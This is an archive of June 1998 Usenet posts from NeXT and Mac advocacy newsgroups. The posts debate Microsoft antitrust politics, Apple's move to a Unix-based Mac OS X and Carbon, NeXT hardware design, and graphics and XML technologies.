Best would be if the appliance could aquire the time in that way, but
could also retain the time internally without requiring constant
access to the timebase. I'd be happy if it could just retain the
time.
Adding a means to take a global time reading off the blanking
interval in a broadcast video signal is a much better solution!
It would be the one clock in your life that was correct (for most
of us).
Better yet would be to put a receiver chip into the appliances, and
then allow for a short-range transmitter to transmit the time. I'm
thinking something that you could purchase yourself. _That_ might or
might not be more elaborate, perhaps using GPS or shortwave or NTP or
an atomic clock to aquire a decent timebase.
My point being that this is unlikely to happen for many years. At
some point, yes, it will be so cheap that it just doesn't make sense
not to do it (perhaps someone comes out with an ASIC core which can do
it, given a couple inches of trace on the board as input). But my
point was that until it becomes almost free to the manufacturer, it's
unlikely to happen,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 11 Jun 1998 22:22:28 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lq3d4$jmh$1@crib.corepower.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1> <6lnaiq$fj4$1@crib.corepower.com> <35807A37.32F3@umn.edu>
In article <35807A37.32F3@umn.edu>, abuse@localhost wrote:
> Nathan Urban wrote:
> > In article <01bd94d0$42ddea30$04387880@test1>, "Todd Heberlein" <todd@NetSQ.com> wrote:
> > > With a 233 MHz Cyrix, with a board supporting a maximum CPU speed of
> > > 300 MHz, [the Rock City computer] looks pretty underwhelming.
> > Of course, you're leaving out the 533 MHz Alpha version.
> Which comes bundled with Windows 95!
Hmm, I missed that part. Guess they're just selling expensive
paperweights then. :)
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: Fri, 12 Jun 1998 13:12:08 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <35810D08.6308@stud.uni-erlangen.de>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> <6loc6i$gk8$1@usenet11.supernews.com> <joe.ragosta-1106980858050001@wil62.dol.net>
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Joe Ragosta wrote:
> > Now, if someone proposed using people who spam comp.sys.* groups with
> > political screeds in place of lab rats for drug testing, I'd wholeheartedly
> > concur.
>
> Concur???
>
> I'd fund the research.
In that case I'll volunteer to take the place of a rat in a program for
evaluating possible uses of marihuana and hallucinogens. Please send me
a researcher and a couple of doses! =^>>>
ttyl!
Matthias
P.S.: crosspost snipped!
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 13:26:42 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35812C92.20DA6D16@nstar.net>
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NNTP-Posting-Date: 12 Jun 1998 13:31:41 GMT
Larry Pyeatt wrote:
[cut]
> > Not often are fascists so honest. I appreciate the gesture.
>
> fas.cism \'fash-.iz-*m, 'fas-.iz-\ \-*st\ \fa-'shis-tik also -'sis-\
> \-ti-k(*-)le-\ n [It fascismo, fr. fascio bundle, fasces, group, fr. L
> fascis]bundle & fasces fasces 1: the body of principles held by Fascisti 2:
> a political philosophy, movement, or regime that exalts nation and race and
> stands for a centralized autocratic government headed by a dictatorial
> leader, severe economic and social regimentation, and forcible suppression
> of opposition - fas.cist nor ;aj
>
> Hmm, doesn't seem to fit me.
> 1. Unlike some MS advocates, I prefer an open market where monololists have
> to compete on the quality of their products to "forcible suppression
> of opposition" (in the software market) by MS
Microsoft does not engage in "forcible suppression of opposition". The
US Government does:
forcible \For"ci*ble\, a. [Cf. OF. forcible forcible, forceable
that may be forced.]
1. Possessing force; characterized by force, efficiency, or
energy; powerful; efficacious; impressive; influential.
2. Violent; impetuous.
3. Using force against opposition or resistance; obtained by
compulsion; effected by force; as, forcible entry or
abduction.
{forcible entry and detainer} (Law), the entering upon and
taking and withholding of land and tenements by actual
force and violence, and with a strong hand, to the
hindrance of the person having the right to enter.
[Alternate definition]
forcible
adj : impelled by physical force especially against
resistance;
"forcible entry"; "a real cop would get physical";
"strong-arm tactics" [syn: {physical}, {strong-arm}]
> 2. Unlike some MS advocates, I prefer freedom to choose instead of "centralized
> autocratic government" (of the OS market) by MS.
Microsoft is not a "centralized autocratic government". The US
Government is, in fact, quite well served by that description:
Centralize \Cen"tral*ize\, v. t. [imp. & p. p. {centralized}; p.
pr. & vb. n. {Centralizing}.] [Cf. F. centraliser.]
To draw or bring to a center point; to gather into or about a
center; to bring into one system, or under one control.
[To] centralize the power of government. --Bancroft.
Autocratic \Au`to*crat"ic\, Autocratical \Au`to*crat"ic*al\, a.
Of or pertaining to autocracy or to an autocrat; absolute;
holding independent and arbitrary powers of government. --
{Au`to*crat"ic*al*ly}, adv.
Government \Gov"ern*ment\, n. [F. gouvernement. See {Govern}.]
1. The act of governing; the exercise of authority; the
administration of laws; control; direction; regulation;
as, civil, church, or family government.
> 3. Unlike some MS advocates, I prefer several strong companies in the software
> market rather than the "dictatorial leader" that MS wants to be.
Microsoft is not a "dictatorial leader". Janet Reno, however, is:
dictator \Dic*ta"tor\, n. [L.]
1. One who dictates; one who prescribes rules and maxims
authoritatively for the direction of others. --Locke.
2. One invested with absolute authority; especially, a
magistrate created in times of exigence and distress, and
invested with unlimited power.
> 4. Unlike some MS advocates, I prefer a free market where the company with
> the best product can make prosper, rather than the "severe economic and
> social regimentation" that MS wants to impose on the market.
"Social regimentation"? You're joking:
social
adj 1: relating to human society and its members; "social
institutions"; "societal evolution"; "societal
forces"; "social legislation" [syn: {societal}]
regimentation
n : the imposition of order or discipline
> Hmm, were you by any chance looking in the mirror when you thought of the
> word "fascist?"
[sigh]
> In my field, yes, I am an expert due to training and experience. I am
> also an expert at making beer due to experience. That does not mean
> that I am the ONLY expert in these areas, and I certainly rely on the
> opinions of others when I need to make decisions outside of my
> expertise.
None of which establishes the credibility of any single person to
predict, control, and whimsically direct the entire course of the
computing industry, as the DoJ does. Reread the original argument rather
than sidetracking.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 13:44:52 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <358130D4.372EFBEB@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu>
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NNTP-Posting-Date: 12 Jun 1998 13:49:51 GMT
Robert Cassidy wrote:
> So there should be no consumer protection then? For that only undermines
> the free will of the consumer.
That is does. The phrase "consumer protection" is blatantly misleading.
I could "protect consumers" without involving myself in unConstitutional
legislation.
> So no need for prescriptions for drugs,
There may, indeed, be a need for drug prescriptions. This says nothing
about the right of the government to force their use.
> licenses for handguns or automobiles, and three cheers for the
> introduction of General Mills Crack Cocaine for the government is
> preventing me from spending my own money as I choose.
Quite right. Will you be here in a hundred years to walk in protest
rallies during the Fight to Ban Natural Fat? Consumers don't realize
what they're getting into, by God! People are too stupid to switch to
Olestra, we've got to make certain fundamental things mandatory. We're
not being invasive, we just need to make a few basic rules.
> Thank God I'll
> finally be able to put that physics degree to work and build my very own
> nuclear device. God bless America.
Heh, if you can get your hands on well-machined beryllium steel, a
deuterium trigger, and a goodly supply of the heavy water itself, then
yeah. Knock yourself out.
Maybe you can do as Oliver Wendell Jones did, and just scrape the
glow-in-the-dark material off of the hands of a thousand cereal-box
watches...
> Face it Mike, your vision is drastically out of whack with the current
> reality. Protest all you want, work to change things, but realize that the
> US government did determine at the outset of this century that consumers
> would rather have 10% lower oil today than run the risk of more vigorous
> competition upsetting what was already a good thing - even if it could
> make things dramatically better.
The government did make that decision. It wasn't until the mid 1930's,
though, that the most dramatic action was taken on behalf of socializing
what were previously matters of private consumption.
> It's a nasty problem - the people are happy with the status quo, but the
> theory says that they _could_ (and in fact should) be happier with a
> change.
That's quite true, and it's the entire basis of economy: someone who
provides the beneficial change may profit from it by selling its fruits.
> Yet the people revolt because they don't want the government to
> interfere and probably stimulate the market in much the same way as they
> do with a gazillion other things that they wouldn't dream of giving up -
> like controls from the federal reserve.
Or SEC controls on the stock market? Or AFDC-style welfare? That people
have become dependent on government is not surprising. You'd ban crack
cocaine, but not a far more debilitating drug...
> It seems like yet another instance of the scientists presenting a case
> that the public rejects out of hand since it deals with long-term goals at
> the expense of short-term costs. Anti-trust is little more than economic
> stimulation - but in a focused market.
Actually, according the various theories of Economic Calculation, it can
be proven incontrovertibly that anti-trust regulation has a direct
depressive effect on the economy.
> The fact that a single company has
> to lose some ground, in spite of the tremendous gains to get it this sort
> of attention seems to be the only element that people find distasteful.
What "tremendous" gains? That's pure baloney.
> That some kind of slippery slope will form and the next thing you know the
> DOJ won't let me buy the 'Bass Master' as they have an unfair advantage in
> the electronic fishing game market. The reality is that in 100 years of
> anti-trust being on the books, it has rarely happened to slide at all.
Thank God, and with any luck, Microsoft will win this case and put
another nail in the coffin of Anti-Trust activism.
> I agree with the 'bad laws weaken good laws' arguments, but a country
> without anti-trust would be so fragile and oscillate so wildly that I
> don't think many of us would enjoy it much.
This is just untrue, Bob. I'm surprised that someone like you would make
such a sweeping claim based on legislation that's existed for less than
one hundred years. I know you know history better than that.
> > Not often are fascists so honest. I appreciate the gesture.
>
> Never one to put enter a discussion without a little bloodletting, are
> you?
No, I'm not. "Bloodletting" is a good word for it, thank you.
> Too bad you can't depend on what are normally well presented
> arguments without succumbing to mud-slinging to appease your insecurities.
Whoa, whoa, take it slow. "Well-presented arguments" is the first part I
take offense at: they're not my arguments, and whatever the
presentation, it has nothing to do with the point being communicated.
"Mud-slinging", wow: fascism isn't an insult, it's a political model
that I assigned to Mr. Pyeatt's thought. Don't get mixed up. Finally,
"insecurities": that's mudslinging. Now you're getting the idea.
MJP
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: Fri, 12 Jun 1998 08:48:20 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <358131A4.AD54542A@milestonerdl.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca>
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Bruce Bennett wrote:
> One wonders what strategy the marketing
> folks might then come up with to counter the line competitors will
> inevitably employ at the sales-floor FUD level: "Don't be fooled! It's
> just a Unix in pretty clothing -- laughably oudated, hideously difficult
> old junk."
What's a belly laugh here is how Apple defenders for YEARS were saying how
Unix was "laughably oudated, hideously difficult old junk." And now, where
are these people, now that Apple is going to a Unix core, and wrapping MacOS
around Unix?
From: caradoc@neta.com (John Groseclose)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: Fri, 12 Jun 1998 07:00:37 -0700
Organization: Yngvi's De-Lousing and Pest Control Service
Message-ID: <caradoc-1206980700380001@caradoc.neta.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca> <358131A4.AD54542A@milestonerdl.com>
In article <358131A4.AD54542A@milestonerdl.com>, m rassbach
<mark@milestonerdl.com> wrote:
> Bruce Bennett wrote:
>
> > One wonders what strategy the marketing
> > folks might then come up with to counter the line competitors will
> > inevitably employ at the sales-floor FUD level: "Don't be fooled! It's
> > just a Unix in pretty clothing -- laughably oudated, hideously difficult
> > old junk."
>
> What's a belly laugh here is how Apple defenders for YEARS were saying how
> Unix was "laughably oudated, hideously difficult old junk." And now, where
> are these people, now that Apple is going to a Unix core, and wrapping MacOS
> around Unix?
I don't recall ever having said that myself. I *have* said that UNIX
itself was not appropriate for the general population of computer users
(secretaries, business managers, lawyers, etc.)
The problem with UNIX used to be that it was fiendishly complicated (not
"difficult," but "complicated") for the average person to set up. With the
advent of installers like RedHat (still complicated but not nearly as
difficult!) it's getting better.
Wrapping the UNIX (BSD or Mach, depending on whether you're referring to
Mac OS X or Rhapsody) core in an easier installer and shell makes it much
easier to deal with. You lose some flexibility, and you gain an awful lot
of usability.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 12 Jun 1998 13:59:53 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lrc8p$ff1@newsb.netnews.att.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357EFD28.ABD322C@ctron.com> <6lopaf$86v@newsb.netnews.att.com> <petrichEuErw6.CLq@netcom.com>
Originator: gupta@tlctest
Regarding how much new code will be there in Carbon :
My layman's guess is : relatively little.
Carbon did not spring out of nowhere. I would imagine
that at least ever since Apple began the 68k -> PPC
transition, and since when Copland and Gershwin were on
the drawing boards, all new APIs and all rewritten APIs
would have been as portable and as buzz-word-ready as
possible. Since Apple's new OSes were meant to be
microkernel-based, these would have been written to
be moved to such an operating environment.
The problem with Copland and Gershwin, as far as I can guess,
is that they attempted to give full buzzword compliance to
existing MacOS binaries. In the effort to produce Copland,
I'm sure that the 2000 API functions that would cause a
problem were identified.
My guess also is that in 1995, Apple abandoning 25% of the
MacOS APIs would have been politically impossible.
My guess is that Steve Jobs is taking advantage of the
previous work; and adroitly changed the goal to 90% source
code compatibility.
The big overhaul in Carbon is the change to the imaging model,
and this is what will take the longest time.
All guesses, the above. Another guess is that do not expect
any announcement from Apple that would impact current sales,
even if it would possibly increase future sales. E.g, once
Carbon APIs are working on top of the Mach kernel, the whole
thing should be pretty portable to a non-PPC platform.
But if Apple even gives a hint to committing to such a thing,
a lot of 68K owners or low-end PPC owners or current Intel
users who are considering a switch may hold off upgrading
for an year. Under current business circumstances, that could
be fatal for Apple.
-arun gupta
From: pb@Colorado.EDU (PB Schechter)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 12 Jun 1998 14:23:52 GMT
Organization: University of Colorado, Boulder
Message-ID: <6lrdlo$5pb@lace.colorado.edu>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <01bd94d0$42ddea30$04387880@test1> <6lnaiq$fj4$1@crib.corepower.com> <35807A37.32F3@umn.edu>
NNTP-Posting-User: pb
In article <35807A37.32F3@umn.edu>, Bradley DeJong <abuse@localhost> wrote:
>Nathan Urban wrote:
>>
>> In article <01bd94d0$42ddea30$04387880@test1>, "Todd Heberlein" <todd@NetSQ.com> wrote:
>>
>> > With a 233 MHz Cyrix, with a board supporting a maximum CPU speed of
>> > 300 MHz, [the Rock City computer] looks pretty underwhelming.
>>
>> Of course, you're leaving out the 533 MHz Alpha version.
>
>Which comes bundled with Windows 95! Maybe they've also got a DEC Alpha
^^^^^^^^^^
This makes me very suspicious of the actual existence of an Alpha part:
To the best of my knowledge, the *only* MicroSoft OS that Alphas will run
is Windows NT. They (Alphas) will also run VMS, Digital Unix, and Linux.
Seeing the claim for Windows 95 makes me think that either (1) this is
still a dream, or (2) someone who created the web site really doesn't
know what s/he is talking about.
PB Schechter
pb@colorado.edu
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <dXag1.25126$xE3.8083324@axe.netdoor.com>
Control: cancel <dXag1.25126$xE3.8083324@axe.netdoor.com>
Date: 12 Jun 1998 14:29:30 GMT
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From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 12 Jun 1998 13:55:38 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd9608$b81aa2a0$c07498cf@edwint.rauland.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca> <358131A4.AD54542A@milestonerdl.com>
m rassbach <mark@milestonerdl.com> wrote in article
<358131A4.AD54542A@milestonerdl.com>...
>
>
> Bruce Bennett wrote:
>
> > One wonders what strategy the marketing
> > folks might then come up with to counter the line competitors will
> > inevitably employ at the sales-floor FUD level: "Don't be fooled! It's
> > just a Unix in pretty clothing -- laughably oudated, hideously
difficult
> > old junk."
>
> What's a belly laugh here is how Apple defenders for YEARS were saying
how
> Unix was "laughably oudated, hideously difficult old junk." And now,
where
> are these people, now that Apple is going to a Unix core, and wrapping
MacOS
> around Unix?
>
Would you care to identify these "Apple defenders?" Many Apple
customers have been using Unix for YEARS. Remember A/UX, MachTen, BSD,
Minix, Linux/PPC, and MkLinux? Remember MAE?
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 07:09:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6lrcps$b9@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com>
Nathan Urban <nurban@vt.edu> wrote:
: In article <6lpp28$sup@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
: > Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
: > : No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
: > : Technically speaking, no biggie. By introducing Rhapsody and then
: > : changing names, it gives Apple a REALLY big window to play with.
: > So binaries compiled on Rhapsody will run on MacOS X?
: That may not be the case (I think RDR2 isn't even binary compatible
: with RDR1). But they'll be source-level compatible, at least in the
: forward direction (Rhapsody to OS X).
Right, just like they'll be source-level compatible to NT. Does that mean
NT is Rhapsody?
John
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: Fri, 12 Jun 1998 13:23:41 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lra4s$645$1@nnrp1.dejanews.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net> <edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com> <6lqa8p$m6c$2@news.xmission.com>
don@misckit.com wrote:
> > [...] if you can't cleanly place them
> > in the base unit, hide the floppy and CD-ROM around the side of the
> > monitor, while you're at it,
>
> I disagree with this part. One of the things that always annoyed me about
> the NeXT slabs was that the floppy slot was on the side. I've traditionally
> been short on desk space and the need to keep an area clear next to the slab
> has been a major pain in the rear for me.
I was quite suspicious of the floppy's placement when I first bought my NeXT
slab in 1991 (still my primary work computer! try that with a wintel system
of that vintage). But that concern was soon erased. The hand movement to get
to it is a lot more natural than getting to a slot in front. And the floppy's
entrance is in the same general area as the area the mousepad occupies, so
it's clear by definition (I'm right-handed). YMMV, of course, but I think ANY
placement of the floppy will cause problems for some people at some time.
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: Fri, 12 Jun 1998 13:26:10 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6lra9i$6mk$1@nnrp1.dejanews.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net> <edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com> <6lqa8p$m6c$2@news.xmission.com> <Om2g1.34230$BE5.5426783@news.rdc1.nj.home.com>
(TjL) wrote:
> Having easy access to the floppy drive and CD-ROM with the ability to get the
> tower the heck out of the way would be really nice.
> So much so I've thought about the next machine I get having an external
> CD-ROM so I can get at it easier. That way I can turn the tower around to
> get at the connectors more easily :-)
> TjL, who sold his external CD-ROM case awhile back without thinking
Hmmm... if one bought a standard "internal" CD-ROM drive, could it easily be
mounted inside the case from the original NeXT CD-ROM drive?
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
Date: Fri, 12 Jun 1998 11:18:24 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Message-ID: <joe.ragosta-1206981118240001@wil39.dol.net>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com>
In article <358136AC.C4DA11CC@bcomp.com>, Alan Frabutt
<afrabutt@bcomp.com> wrote:
> Nathan Urban wrote:
> <snip>
> > Even if they didn't ship with it, it would be trivial to compile a BSD
> > binary.
>
> Vanilla UNIX under the hood doesn't buy apple more than a ticket into
> the enterprise marketplace. Once there, you have to have something to
> sell. Noble efforts will continue to be made to keep the current version
Does ease of use count?
Or some of the cool Yellow Box apps?
Or PPC performance?
> of sendmail, etc., compiled on the platform, but where does that go?
> They have the opportunity to do what the other UNIX vendors haven't
> tried... take the power of UNIX beyond (arguably) arcane library API's,
> into objects. Tremendous leverage. And Apple could leverage the ongoing
> development in the free UNIX arena to it's advantage. There is no way
> they can or should re-invent what UNIX offers at some obsolete Mac
> toolbox level...
>
> I'm probably sounding hysterical, but I can't imagine Apple succeeding
> without a server OS strategy.
Probably a little strong, but I agree that a server strategy is important.
But Mac OS X is supposed to run BSD apps, so there you have it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: nospamnospamnospamnospamnospamnospamnospamnospamnospamnospam@luomat.peak.org (TjL)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
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References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com> <Om2g1.34230$BE5.5426783@news.rdc1.nj.home.com>
<6lra9i$6mk$1@nnrp1.dejanews.com>
Message-ID: <SKbg1.34250$BE5.5654592@news.rdc1.nj.home.com>
Date: Fri, 12 Jun 1998 15:24:34 GMT
NNTP-Posting-Date: Fri, 12 Jun 1998 08:24:34 PDT
Organization: @Home Network
In <6lra9i$6mk$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> Hmmm... if one bought a standard "internal" CD-ROM drive, could it easily
be
> mounted inside the case from the original NeXT CD-ROM drive?
I dunno, I never had such a case, but my internal CD-ROM was quite happy in a
generic external case.
TjL
--
"soon": (adv) a time interval somewhere between this afternoon and
the end of the world, if all goes as according to plan"
-- From the Dictionary for Marketing
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 08:34:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A69871-22F35@206.165.43.126>
References: <slrn6o0dah.kcg.sal@panix3.panix.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Salvatore Denaro <sal@panix3.panix.com> said:
>On 11 Jun 1998 09:28:02 -0700, Lawson English <english@primenet.com>
>wrote:
>>Your point was?
>
><point>
>>>A whole year has gone by and you are still wasting your time on this.
></point>
>
>Is it clear now?
Nope. SOmeone raised a question about why Lawrence might say that PS wasn't
as device independent as GX. I answered it.
Whether or not the answer had been posted before is not relevant. It was
short. It was sweet. It is STILL valid:
GX is is as completely device independent as you can. You can translate the
GX page specification into something suitable for any arbitrary form of
imaging device far, FAR easier than you can translate an arbitrary
DPS/PS/EPS image which is designed only for PS printers with a nod to
non-PS raster printers.
Clear?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 15:45:18 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o2j8e.sd3.sal@panix3.panix.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com> <6lqsls$pqt$1@news.cs.tu-berlin.de>
On 12 Jun 1998 09:33:48 GMT, Marcel Weiher <marcel@cs.tu-berlin.de> wrote:
>What I so far like best about XML is that it may
>
> (a) allow free mixing structured and free-form data
> (b) allow structural information to be retained all
> the way through an output process.
>
>It's not that this wasn't theoretically possible before, but
>now it seems to be becoming practical.
What I like best about XML is that, for the next 25 years, it might be what
ASCII was for the last 25 years. The lowest common denominator for data
exchange between systems. And it rases the bar for "lowest common denominator"
by a healthy margin.
--
sal@panix.com
Salvatore Denaro
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 16:02:37 GMT
Organization: gte.net
Message-ID: <6lrj02$hlm$14@gte1.gte.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com>
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On Wed, 10 Jun 1998 01:24:32 GMT, someone claiming to be T. Max Devlin
wrote:
>"Michael J. Peck" <mjpeck@nstar.net>, on Mon, 08 Jun 1998 10:28:46
>>> 2) It is MS's claim that the industry will be harmed. I personally
>>> think they are wrong on that one, at least in the long term.
>>"Long term"? A qualifier that is not germane to the claim in the first
>>place. That you claim to predict the "long term" in the computer
>>industry is hilarious.
>This is a troll. I don't know if you have a valid point here, but if
>you disagree, a cogent argument, not ridicule, is what is called for.
Pot. Kettle. Black.
>And I also don't see why the qualifier "long term" is not germane to the
>claim that convicting Microsoft would hurt the industry.
Since absolutely no-one can reliable claim any knowledge of the
long-term effects of anything in this industry.
And BTW, Max, could you please stop snipping the attributions of what
you quote? Makes it difficult to properly respond if only your
response makes it to a given server.
From: roger@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 16:02:40 GMT
Organization: gte.net
Message-ID: <6lrj04$hlm$15@gte1.gte.net>
